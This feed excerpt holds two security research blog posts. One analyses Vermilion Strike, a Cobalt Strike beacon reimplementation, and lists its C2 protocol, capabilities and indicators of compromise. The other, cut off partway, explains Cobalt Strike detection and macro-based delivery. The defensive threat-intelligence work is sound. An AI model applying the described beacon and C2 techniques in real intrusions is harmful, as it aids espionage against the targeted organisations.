&lt;a href="https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;fully undetected ELF implementation&lt;/a&gt;
of Cobalt Strike&amp;rsquo;s &lt;a href="https://www.cobaltstrike.com/help-beacon"target="_blank" rel="noopener"&gt;beacon&lt;/a&gt;, which we
named &lt;strong&gt;Vermilion Strike&lt;/strong&gt;. The stealthy sample uses Cobalt Strike&amp;rsquo;s Command
and Control (C2) protocol when communicating to the C2 server and has Remote
Access capabilities such as uploading files, running shell commands and writing
to files. The malware is fully undetected in VirusTotal at the time of this
writing and was uploaded from Malaysia.&lt;/p&gt;
&lt;p&gt;Based on telemetry with collaboration from our partners at McAfee Enterprise
ATR, this Linux threat has been active in the wild since August targeting
telecom companies, government agencies, IT companies, financial institutions
and advisory companies around the world. Targeting has been limited in scope,
suggesting that this malware is used in specific attacks rather than mass
spreading.&lt;/p&gt;
&lt;p&gt;After further analysis, we found Windows samples that use the same C2. The
samples are re-implementations of Cobalt Strike Beacon. The Windows and ELF
samples share the same functionalities.&lt;/p&gt;
&lt;p&gt;The sophistication of this threat, its intent to conduct espionage, and the
fact that the code hasn&amp;rsquo;t been seen before in other attacks, together with the
fact that it targets specific entities in the wild, leads us to believe that
this threat was developed by a skilled threat actor.&lt;/p&gt;
&lt;p&gt;In this post we will provide a technical analysis of the samples and explain
how you can detect and respond to this threat.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Linux File&lt;span class="hx:absolute hx:-mt-20" id="linux-file"&gt;&lt;/span&gt;
&lt;a href="#linux-file" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The file was uploaded to VirusTotal from Malaysia and has no detections in
VirusTotal at the time of this writing.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig1.png" title="294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc in VirusTotal" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc in VirusTotal&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig2.png" title="Vermilion Strike analysis in Intezer: https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Vermilion Strike analysis in Intezer: https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The file shares strings with previously seen Cobalt Strike samples and triggers
a number of YARA rules that detect encoded Cobalt Strike configurations. The
ELF file is built on a Red Hat Linux distribution. It uses OpenSSL via dynamic
linking. The shared object names for OpenSSL on Red Hat-based distributions are
different from other Linux distributions. Because of this, it can only run on
machines with Linux distribution based on Red Hat&amp;rsquo;s code base.&lt;/p&gt;
&lt;h3&gt;Initialization&lt;span class="hx:absolute hx:-mt-20" id="initialization"&gt;&lt;/span&gt;
&lt;a href="#initialization" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The sample starts by forcing itself to run in the background using &lt;code&gt;daemon&lt;/code&gt;. It
will decrypt the configuration, using the XOR key &lt;code&gt;0x69&lt;/code&gt;, shown in the
screenshot below. The key &lt;code&gt;0x69&lt;/code&gt; is a common value used by Cobalt Strike&amp;rsquo;s
encrypted configuration too. Vermilion Strike&amp;rsquo;s configuration format is the
same as Cobalt Strike. Tools used for extracting Cobalt Strike configurations
can also be used to extract Vermilion Strike configuration. The Windows
components of the configuration are ignored for this Linux version.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig3.png" title="Decoded configuration of the beacon" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoded configuration of the beacon&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Further decryption is performed in a heap with decoded strings, keys, and
values required by the beacon for its operation. The beacon will then generate
a SHA256 hash sourced from a random number seeded from the thread ID. This
value will be used later in DNS beaconing. Next, a public RSA key will be
imported for later use.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig4.png" title="Importing of public RSA key to encrypt machine fingerprint" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Importing of public RSA key to encrypt machine fingerprint&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The beacon will begin fingerprinting the machine. A random number will be
generated and the process ID will be fetched. It will grab the kernel version
of the machine using &lt;code&gt;uname&lt;/code&gt;. Next, the beacon will fingerprint network
information through the &lt;code&gt;getifaddrs&lt;/code&gt; function. It will loop through the
interfaces looking for IPv4 addresses. It will gather the interface with an
address not equal to &lt;code&gt;127.0.0.1&lt;/code&gt; and stage the IPv4 address.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig5.png" title="Network interface fingerprinting" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Network interface fingerprinting&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next, the beacon will fingerprint the entry in the local password database for
information about the current effective user ID of the process.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig6.png" title="Fingerprinting of local password database" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Fingerprinting of local password database&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The beacon will then fingerprint the hostname of the machine. The collected
information will be formatted into a string, encrypted with the public RSA key,
and base64 encoded, as is standard for communication with a Cobalt Strike
server. The stages are shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig7.png" title="Stages of formatting the machine fingerprint" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Stages of formatting the machine fingerprint&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Prepended to the fingerprint string is the value &lt;code&gt;1.0.1.LR&lt;/code&gt;. This appears to be
an internal version string. A similar string, &lt;code&gt;W1.0.1&lt;/code&gt;, was found in a newly
discovered Windows sample of Vermilion Strike that shares the same C2 and
malware functionality.&lt;/p&gt;
&lt;p&gt;The encrypted data is sent to the C2 server in a similar way that the metadata
is sent from a Cobalt Strike beacon to the C2 server. The payload that is
encrypted starts with the marker &lt;code&gt;0xbeef&lt;/code&gt;. The same marker is used by the
legitimate Cobalt Strike beacon.&lt;/p&gt;
&lt;h3&gt;Command and Control&lt;span class="hx:absolute hx:-mt-20" id="command-and-control"&gt;&lt;/span&gt;
&lt;a href="#command-and-control" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Command and Control is primarily performed over DNS but also available over
HTTP. This DNS-based approach for communications can help avoid traditional
defenses that monitor HTTP traffic. Commands are received via DNS Address (A)
and Text (TXT) records. The beacon first makes DNS requests out to hardcoded
subdomains and gets an IP address returned. Normally, DNS requests on hostnames
are intended to be translated into an IP address for which to visit. In this
case, the IP address returned is not used as an IP address but for triggers to
change the beacon behavior.&lt;/p&gt;
&lt;p&gt;Once the beacon gets the signal to download a task, it will perform a DNS TXT
query to the domain&amp;rsquo;s nameservers, as shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig8.png" title="Packet capture of C2 communication" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packet capture of C2 communication&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The result of the TXT query is a base64 encoded and AES encrypted struct
containing task information. An example of a returned task is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig9.png" title="A DNS TXT query result for a task" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A DNS TXT query result for a task&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A decrypted task is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig10.png" title="Decrypted command" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decrypted command&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Tasks that the beacon can perform are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Change working directory&lt;/li&gt;
&lt;li&gt;Get current working directory&lt;/li&gt;
&lt;li&gt;Append/write to file&lt;/li&gt;
&lt;li&gt;Upload file to C2&lt;/li&gt;
&lt;li&gt;Execute command via &lt;code&gt;popen&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Get disk partitions&lt;/li&gt;
&lt;li&gt;List files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The malware uses a separate thread to execute the tasks. The tasks are
scheduled as jobs via a semaphore to ensure not too many jobs are executed at
once. Vermilion Strike has a third way of communicating with the C2 server via
ICMP ping messages. The malware adds the current pid to the offset &lt;code&gt;0x4&lt;/code&gt; in the
header and the encrypted payload is sent as data in the ICMP packet. The data
size for an ICMP packet is limited to 65,507 bytes but the malware uses a size
limit of 64,000 bytes for the payload. The code for sending and processing ICMP
messages exists in the malware but the code for enabling it via the
configuration is not present. This means it has the capability but can&amp;rsquo;t be
configured to use it. This suggests it may be a new feature that hasn&amp;rsquo;t been
fully developed yet.&lt;/p&gt;
&lt;h3&gt;Links to Windows Files&lt;span class="hx:absolute hx:-mt-20" id="links-to-windows-files"&gt;&lt;/span&gt;
&lt;a href="#links-to-windows-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When investigating this Linux file, we discovered related Windows samples. The
first sample we noticed was:
&lt;code&gt;3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc&lt;/code&gt;. This is a
32-bit EXE sample that shares a C2 IP address (&lt;code&gt;160.202.163[.]100&lt;/code&gt;). This is a
stager that will fetch a DLL from the C2 over HTTP and execute it in-memory.&lt;/p&gt;
&lt;p&gt;An example of the next stage DLL is
&lt;code&gt;7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492&lt;/code&gt;. This
sample, first noticed in 2019 by
&lt;a href="https://twitter.com/silascutler/status/1153696870499119104"target="_blank" rel="noopener"&gt;Silas Cutler&lt;/a&gt;, is
the Windows DLL equivalent of the ELF file. The functionality is almost exactly
the same, except for the Windows environment. A side-by-side comparison of the
configuration decoding function for the ELF and DLL beacons is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig11.png" title="Configuration decryption function comparison" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Configuration decryption function comparison&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The DLL has the same domains as the ELF for C2, as well as an additional
configured domain &lt;code&gt;amazon.hksupd[.]com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Using the stager we managed to get a new payload from the server
(&lt;a href="https://analyze.intezer.com/files/e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5&lt;/a&gt;).
It has a lot of shared code with the sample from 2019. This sample and another
Windows version of Vermilion Strike
(&lt;code&gt;c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5&lt;/code&gt;) includes a
similar version string as the ELF version. The version string in these samples
is &lt;code&gt;W1.0.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig12.png" title="Internal version string in recent Windows versions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Internal version string in recent Windows versions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Vermilion Strike and other Linux threats remain a constant threat. The
predominance of Linux servers in the cloud and its continued rise invites APTs
to modify their toolsets in order to navigate the existing environment. Linux
threats often have low detection rates compared to their Windows counterparts
due to reasons discussed in
&lt;a href="https://intezer.com/blog/malware-analysis/why-we-should-be-paying-more-attention-to-linux-threats/?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Why we Should be Paying More Attention to Linux Threats&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Vermilion Strike is not the only Linux port of Cobalt Strike&amp;rsquo;s Beacon. Another
example is the open-source project &lt;a href="https://github.com/darkr4y/geacon"target="_blank" rel="noopener"&gt;geacon&lt;/a&gt;,
a Go-based implementation. Vermilion Strike may not be the last Linux
implementation of Beacon.&lt;/p&gt;
&lt;h2&gt;Detection and Response&lt;span class="hx:absolute hx:-mt-20" id="detection-and-response"&gt;&lt;/span&gt;
&lt;a href="#detection-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Intezer can detect both Linux and Windows variants of Vermilion Strike, based
on code reuse, TTPs, and strings. Shown below are the verdicts for both
versions.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig13.png" title="Intezer verdict of Windows version of Vermilion Strike" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intezer verdict of Windows version of Vermilion Strike&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Intezer
&lt;a href="https://analyze.intezer.com/files/07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;verdict&lt;/a&gt;
of Windows version of Vermilion Strike.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig14.png" title="Intezer verdict of Linux version of Vermilion Strike" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intezer verdict of Linux version of Vermilion Strike&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Intezer
&lt;a href="https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;verdict&lt;/a&gt;
of Linux version of Vermilion Strike.&lt;/p&gt;
&lt;h3&gt;Detect if a Machine in Your Network Has Been Compromised&lt;span class="hx:absolute hx:-mt-20" id="detect-if-a-machine-in-your-network-has-been-compromised"&gt;&lt;/span&gt;
&lt;a href="#detect-if-a-machine-in-your-network-has-been-compromised" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We recommend using the IoCs section below to ensure that the Vermilion Strike
process does not exist anywhere on your system.&lt;/p&gt;
&lt;h3&gt;Response&lt;span class="hx:absolute hx:-mt-20" id="response"&gt;&lt;/span&gt;
&lt;a href="#response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;If you are a victim of this operation, take the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kill the process and delete all files related to the malware.&lt;/li&gt;
&lt;li&gt;Make sure that your machine is clean and running only trusted code.&lt;/li&gt;
&lt;li&gt;Make sure that your software is up-to-date with the latest versions and
security patches and configured to security best practices.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Intezer would like to thank McAfee ATR for their help during the research
process.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;ELF&lt;span class="hx:absolute hx:-mt-20" id="elf"&gt;&lt;/span&gt;
&lt;a href="#elf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;PE&lt;span class="hx:absolute hx:-mt-20" id="pe"&gt;&lt;/span&gt;
&lt;a href="#pe" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Stager&lt;span class="hx:absolute hx:-mt-20" id="stager"&gt;&lt;/span&gt;
&lt;a href="#stager" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Beacon&lt;span class="hx:absolute hx:-mt-20" id="beacon"&gt;&lt;/span&gt;
&lt;a href="#beacon" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;C2&lt;span class="hx:absolute hx:-mt-20" id="c2"&gt;&lt;/span&gt;
&lt;a href="#c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;160.202.163.100&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;update.microsofthk[.]com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;update.microsoftkernel[.]com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;amazon.hksupd[.]com&lt;/code&gt;&lt;/p&gt;</description></item><item><title>How to Detect Cobalt Strike</title><link>https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/</link><pubDate>Wed, 18 Aug 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/</guid><description>
&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cobalt Strike is a penetration testing tool created by Raphael Mudge in 2012.
To this day, it remains extremely popular in red team activities and used for
malicious purposes by threat actors. Cobalt Strike is popular due to its range
of deployment options, ease of use, ability to avoid detection by security
products, and a number of capabilities it has. It is for these reasons that
threat actors like Cobalt Strike. Since Cobalt Strike is widely used by a range
of actors, its lack of exclusivity makes attribution harder. Companies still
struggle to detect Cobalt Strike also due to the various defensive techniques
it has.&lt;/p&gt;
&lt;p&gt;This blog explains Cobalt Strike and practical steps to take if you believe
that you are being targeted or have been compromised by Cobalt Strike. We will
demonstrate some real world examples of Cobalt Strike delivery and steps to
detect each.&lt;/p&gt;
&lt;h2&gt;What is Cobalt Strike?&lt;span class="hx:absolute hx:-mt-20" id="what-is-cobalt-strike"&gt;&lt;/span&gt;
&lt;a href="#what-is-cobalt-strike" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cobalt Strike is &lt;a href="https://www.cobaltstrike.com/"target="_blank" rel="noopener"&gt;marketed&lt;/a&gt; as &amp;ldquo;Software for
Adversary Simulations and Red Team Operations.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;It is a popular platform that allows users to
&lt;a href="https://www.cobaltstrike.com/features"target="_blank" rel="noopener"&gt;emulate&lt;/a&gt; advanced threats, perform
reconnaissance, hide communications, escalate privileges, move laterally across
the network, and deploy additional payloads. The main payload of Cobalt Strike
is called &amp;ldquo;&lt;a href="https://www.cobaltstrike.com/help-beacon"target="_blank" rel="noopener"&gt;Beacon&lt;/a&gt;.&amp;rdquo; The Beacon
payload is used to model advanced APT malware, and it can do the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Receive commands (either passively or from an interactive console)&lt;/li&gt;
&lt;li&gt;Egress communications over HTTP, HTTPS, and DNS&lt;/li&gt;
&lt;li&gt;Launch PowerShell&lt;/li&gt;
&lt;li&gt;Execute binaries&lt;/li&gt;
&lt;li&gt;Modify and query the Windows registry&lt;/li&gt;
&lt;li&gt;Inject malicious code into legitimate processes&lt;/li&gt;
&lt;li&gt;Log keystrokes&lt;/li&gt;
&lt;li&gt;Take screenshots&lt;/li&gt;
&lt;li&gt;Set up proxies&lt;/li&gt;
&lt;li&gt;Escalate privileges&lt;/li&gt;
&lt;li&gt;Bypass UAC&lt;/li&gt;
&lt;li&gt;Dump password hashes&lt;/li&gt;
&lt;li&gt;Scan ports among other abilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This tool is mainly used in red team operations for government agencies and
private enterprises, but it&amp;rsquo;s also a popular tool leveraged by cybercrime and
&lt;a href="https://www.proofpoint.com/us/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware"target="_blank" rel="noopener"&gt;APT groups in cracked versions&lt;/a&gt;.
It is evident why Cobalt Strike is used by organizations and threat actors
alike because of the extensive suite of capabilities it possesses, and also due
to its ability to bypass defenses. It also comes with the feature to generate
&lt;a href="https://www.cobaltstrike.com/help-reporting"target="_blank" rel="noopener"&gt;reporting&lt;/a&gt; in which the attacking
team or threat actor can continuously study and improve their campaigns.&lt;/p&gt;
&lt;h2&gt;Why is it difficult to detect Cobalt Strike?&lt;span class="hx:absolute hx:-mt-20" id="why-is-it-difficult-to-detect-cobalt-strike"&gt;&lt;/span&gt;
&lt;a href="#why-is-it-difficult-to-detect-cobalt-strike" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cobalt Strike is difficult to detect because of its several defense techniques.
Cobalt Strike payloads are usually shellcode encrypted with a rolling XOR key.
This makes static analysis difficult to conduct. This, combined with the
ability to configure many parts of the payload, makes hash-based detection
almost impossible. Cobalt Strike stagers are designed to be loaded and executed
only in-memory. This opens up a ton of possibilities for how this shellcode is
shipped, making signature-based detection on the delivery method a cat and
mouse game. Depending on how the code is delivered, the code can be injected
into other legitimate running processes, bypassing defenses that do not scan
legitimate processes or code in-memory.&lt;/p&gt;
&lt;h2&gt;How has Cobalt Strike been deployed?&lt;span class="hx:absolute hx:-mt-20" id="how-has-cobalt-strike-been-deployed"&gt;&lt;/span&gt;
&lt;a href="#how-has-cobalt-strike-been-deployed" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cobalt Strike has many different ways for deployment. This flexibility has
helped attackers find many unconventional and creative ways to infect victims
with a payload. For an in-depth technical analysis of Cobalt Strike&amp;rsquo;s
deployment options and how they differ, check out either Avast&amp;rsquo;s
&lt;a href="https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/"target="_blank" rel="noopener"&gt;blog&lt;/a&gt;
or Cisco Talos'
&lt;a href="https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"target="_blank" rel="noopener"&gt;white paper&lt;/a&gt;.
Let&amp;rsquo;s take a look at some real world examples of how Cobalt Strike is being
used in the wild. We will cover the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Macro-Laden Microsoft Office files&lt;/li&gt;
&lt;li&gt;Supply Chain Attack&lt;/li&gt;
&lt;li&gt;Living off the Land (LotL)&lt;/li&gt;
&lt;li&gt;Executables (EXE) files&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Macro-Laden Microsoft Office Files&lt;span class="hx:absolute hx:-mt-20" id="macro-laden-microsoft-office-files"&gt;&lt;/span&gt;
&lt;a href="#macro-laden-microsoft-office-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;An
&lt;a href="https://analyze.intezer.com/analyses/2eaedc79-0197-4907-b4e1-f609853bc04e?utm_campaign=research-blog&amp;amp;utm_content=cobalt-strike-detect-this-persistent-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;example&lt;/a&gt;
of a Cobalt Strike payload being delivered to victims via Microsoft Excel
spreadsheets demonstrates that this tool is used in mass phishing campaigns,
not just targeted APT attacks. The attack starts by sending potential victims a
Microsoft OneDrive link from which an Excel (.xls) file is downloaded.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig1.png" title="OneDrive URLs sent to victims" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;OneDrive URLs sent to victims&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Using cloud storage links to deliver malicious files is a well-known strategy.
It leverages the good reputation of cloud provider domains such as Microsoft,
Amazon, and Google to bypass domain reputation-based security controls. This
link delivers an Excel file pretending to be an Apple Store invoice requesting
that the target &amp;ldquo;enable content to view receipt.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig2.png" title="Spreadsheet lure masquerading as an Apple Store receipt." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Spreadsheet lure masquerading as an Apple Store receipt.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Upon enablement of macros, the spreadsheet will fetch and execute the payload
in-memory.&lt;/p&gt;
&lt;h3&gt;How to Detect?&lt;span class="hx:absolute hx:-mt-20" id="how-to-detect"&gt;&lt;/span&gt;
&lt;a href="#how-to-detect" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This can be difficult to detect, as there are multiple degrees of separation
before the Cobalt Strike payload is executed. Detection first requires dynamic
analysis in order to reach the Cobalt Strike stage. When this stage is reached,
the best ways to detect the running Cobalt Strike code are through static
signatures or genetic code analysis.&lt;/p&gt;
&lt;p&gt;When it comes to static signatures, it can be difficult to isolate the exact
area in-memory that you should run the signatures over. One way this can be
achieved is running the file through debugging tools and manually dumping
memory to perform signature analysis. This can be extremely time consuming and
requires a high degree of technical knowledge. Another possible way is to use a
sandbox and download memory dumps from a finished analysis in order to run
static analysis tools. This requires slightly less technical knowledge, but it
still can be time consuming. We suggest taking the suspicious document and
uploading it to Intezer Analyze to find out if Cobalt Strike is hidden
in-memory.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig3.png" title="Intezer Analyze result for Cobalt Strike payload." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intezer Analyze result for Cobalt Strike payload.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
